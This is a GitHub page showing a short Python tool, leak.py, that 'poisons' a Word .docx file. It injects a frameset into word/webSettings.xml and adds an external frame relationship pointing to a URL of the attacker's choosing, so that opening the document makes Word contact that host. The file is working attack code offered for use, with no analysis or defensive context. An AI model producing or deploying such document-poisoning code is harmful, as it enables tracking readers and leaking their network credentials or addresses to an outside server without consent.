-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathleak.py
More file actions
63 lines (44 loc) · 2.47 KB
/
leak.py
File metadata and controls
63 lines (44 loc) · 2.47 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from update_zip_file import UpdateableZipFile
import tempfile,zipfile
import io,os
class DOCX_LEAK:
def __init__(self,docx_path,url):
self.docx_path = docx_path
self.url = url
self.docx_file_read = zipfile.ZipFile(self.docx_path,"r")
def write_word_webSettings_xml(self):
with UpdateableZipFile(self.docx_path, "a") as z:
z.writestr(
"word/webSettings.xml",
self.insert_word_webSettings_xml().encode()
)
def write__word__rels_document_xml_rels(self):
with UpdateableZipFile(self.docx_path, "a") as z:
z.writestr(
"word/_rels/webSettings.xml.rels",
self.insert_word__rels_document_xml_rels()
)
def insert_word_webSettings_xml(self,element_id="rId1"):
return self.insert_before(
self.read_word_webSettings_xml(),
"<w:optimizeForBrowser/><w:allowPNG/></w:webSettings>",
f"<w:frameset><w:framesetSplitbar><w:w w:val='60'/><w:color w:val='auto'/><w:noBorder/></w:framesetSplitbar><w:frameset><w:frame><w:name w:val='3'/><w:sourceFileName r:id='{element_id}'/><w:linkedToFile/></w:frame></w:frameset></w:frameset>"
)
def insert_word__rels_document_xml_rels(self):
return f"<?xml version='1.0' encoding='UTF-8' standalone='yes'?><Relationships xmlns='http://schemas.openxmlformats.org/package/2006/relationships'><Relationship Id='rId1' Type='http://schemas.openxmlformats.org/officeDocument/2006/relationships/frame' Target='{self.url}' TargetMode='External'/></Relationships>"
def read_word_webSettings_xml(self):
return self.docx_file_read.read("word/webSettings.xml").decode("utf-8")
def read_word__rels_document_xml_rels(self):
return self.docx_file_read.read("word/_rels/document.xml.rels").decode("utf-8")
def insert_after(self,string, string_behind, string_insert):
i = string.find(string_behind)
return string[:i + len(string_behind)] + string_insert + string[i + len(string_behind):]
def insert_before(self,string,string_before,string_insert):
idx = string.index(string_before)
return string[:idx] + string_insert + string[idx:]
def poision_file(self):
self.write_word_webSettings_xml()
self.write__word__rels_document_xml_rels()
if __name__ == "__main__":
dxl = DOCX_LEAK("<docx-file-path>","<url>")
dxl.poision_file()